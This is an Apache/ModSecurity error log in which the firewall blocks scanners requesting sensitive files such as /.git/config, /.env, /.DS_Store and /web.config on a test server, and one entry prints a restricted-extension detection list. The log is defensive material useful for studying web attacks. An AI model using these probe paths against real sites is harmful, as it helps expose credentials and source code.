[Wed Apr 03 09:03:55.578011 2024] [:error] [pid 2230841] [client 91.215.85.29:53622] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkwAAAAs&quot;]
[Wed Apr 03 09:03:55.578451 2024] [:error] [pid 2230841] [client 91.215.85.29:53622] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkwAAAAs&quot;]
[Wed Apr 03 09:03:55.582613 2024] [:error] [pid 2228853] [client 91.215.85.29:53638] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-includes/js/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQegAAAAU&quot;]
[Wed Apr 03 09:03:55.583309 2024] [:error] [pid 2228853] [client 91.215.85.29:53638] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQegAAAAU&quot;]
[Wed Apr 03 09:03:55.583719 2024] [:error] [pid 2228853] [client 91.215.85.29:53638] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQegAAAAU&quot;]
[Wed Apr 03 12:47:47.898847 2024] [:error] [pid 2228850] [client 31.220.0.86:42016] [client 31.220.0.86] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zg0z00L5fnNG-RUF8dnHKAAAAAI&quot;]
[Wed Apr 03 12:47:47.901610 2024] [:error] [pid 2228850] [client 31.220.0.86:42016] [client 31.220.0.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zg0z00L5fnNG-RUF8dnHKAAAAAI&quot;]
[Wed Apr 03 12:47:47.902118 2024] [:error] [pid 2228850] [client 31.220.0.86:42016] [client 31.220.0.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zg0z00L5fnNG-RUF8dnHKAAAAAI&quot;]
[Mon Apr 15 03:22:06.645871 2024] [:error] [pid 2512697] [client 193.32.162.99:38216] [client 193.32.162.99] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBPoz4Btj1NyCBPQ2V9QAAAAM&quot;]
[Mon Apr 15 03:22:06.647645 2024] [:error] [pid 2512697] [client 193.32.162.99:38216] [client 193.32.162.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBPoz4Btj1NyCBPQ2V9QAAAAM&quot;]
[Mon Apr 15 03:22:06.648078 2024] [:error] [pid 2512697] [client 193.32.162.99:38216] [client 193.32.162.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBPoz4Btj1NyCBPQ2V9QAAAAM&quot;]
[Mon Apr 15 03:22:36.344587 2024] [:error] [pid 2512700] [client 193.32.162.99:58332] [client 193.32.162.99] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBXEX_-bbOns11yN_NJgAAAAU&quot;]
[Mon Apr 15 03:22:36.344983 2024] [:error] [pid 2512700] [client 193.32.162.99:58332] [client 193.32.162.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBXEX_-bbOns11yN_NJgAAAAU&quot;]
[Mon Apr 15 03:22:36.345202 2024] [:error] [pid 2512700] [client 193.32.162.99:58332] [client 193.32.162.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBXEX_-bbOns11yN_NJgAAAAU&quot;]
[Mon Apr 15 03:24:06.862940 2024] [:error] [pid 2512696] [client 193.32.162.99:45248] [client 193.32.162.99] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBts1riTFR-1z3d9TIpwAAAAI&quot;]
[Mon Apr 15 03:24:06.863660 2024] [:error] [pid 2512696] [client 193.32.162.99:45248] [client 193.32.162.99] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBts1riTFR-1z3d9TIpwAAAAI&quot;]
[Mon Apr 15 03:24:06.864077 2024] [:error] [pid 2512696] [client 193.32.162.99:45248] [client 193.32.162.99] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZhyBts1riTFR-1z3d9TIpwAAAAI&quot;]
[Sun Apr 28 02:44:41.660385 2024] [:error] [pid 2825336] [client 193.32.162.87:37092] [client 193.32.162.87] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zi2b-eGQtXfUAjvN2jkRNAAAAAE&quot;]
[Sun Apr 28 02:44:41.663385 2024] [:error] [pid 2825336] [client 193.32.162.87:37092] [client 193.32.162.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zi2b-eGQtXfUAjvN2jkRNAAAAAE&quot;]
[Sun Apr 28 02:44:41.663844 2024] [:error] [pid 2825336] [client 193.32.162.87:37092] [client 193.32.162.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zi2b-eGQtXfUAjvN2jkRNAAAAAE&quot;]
[Fri May 03 07:07:52.362511 2024] [authz_core:error] [pid 2944837] [client 172.105.16.117:46390] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Fri May 03 07:07:53.511551 2024] [:error] [pid 2944867] [client 172.105.16.117:46428] [client 172.105.16.117] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZjRxKUZ5LM8Gqa8yc_5KRQAAAAg&quot;]
[Fri May 03 07:07:53.512101 2024] [:error] [pid 2944867] [client 172.105.16.117:46428] [client 172.105.16.117] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZjRxKUZ5LM8Gqa8yc_5KRQAAAAg&quot;]
[Fri May 03 07:07:53.512515 2024] [:error] [pid 2944867] [client 172.105.16.117:46428] [client 172.105.16.117] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZjRxKUZ5LM8Gqa8yc_5KRQAAAAg&quot;]
[Fri May 03 07:07:53.872699 2024] [:error] [pid 2944865] [client 172.105.16.117:46434] [client 172.105.16.117] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjRxKbN1lLNT9IB1Z7O2TQAAAAY&quot;]
[Fri May 03 07:07:53.873279 2024] [:error] [pid 2944865] [client 172.105.16.117:46434] [client 172.105.16.117] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjRxKbN1lLNT9IB1Z7O2TQAAAAY&quot;]
[Fri May 03 07:07:53.873726 2024] [:error] [pid 2944865] [client 172.105.16.117:46434] [client 172.105.16.117] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjRxKbN1lLNT9IB1Z7O2TQAAAAY&quot;]
[Fri May 03 07:07:54.232933 2024] [:error] [pid 2944840] [client 172.105.16.117:46442] [client 172.105.16.117] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjRxKiWTM25QgFluSGoGegAAAAQ&quot;]
[Fri May 03 07:07:54.233434 2024] [:error] [pid 2944840] [client 172.105.16.117:46442] [client 172.105.16.117] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjRxKiWTM25QgFluSGoGegAAAAQ&quot;]
[Fri May 03 07:07:54.233881 2024] [:error] [pid 2944840] [client 172.105.16.117:46442] [client 172.105.16.117] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjRxKiWTM25QgFluSGoGegAAAAQ&quot;]
[Fri May 03 13:51:31.691687 2024] [:error] [pid 2944838] [client 213.232.87.232:34129] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MeAAAAAI&quot;]
[Fri May 03 13:51:31.694290 2024] [:error] [pid 2944838] [client 213.232.87.232:34129] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MeAAAAAI&quot;]
[Fri May 03 13:51:31.694832 2024] [:error] [pid 2944838] [client 213.232.87.232:34129] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MeAAAAAI&quot;]
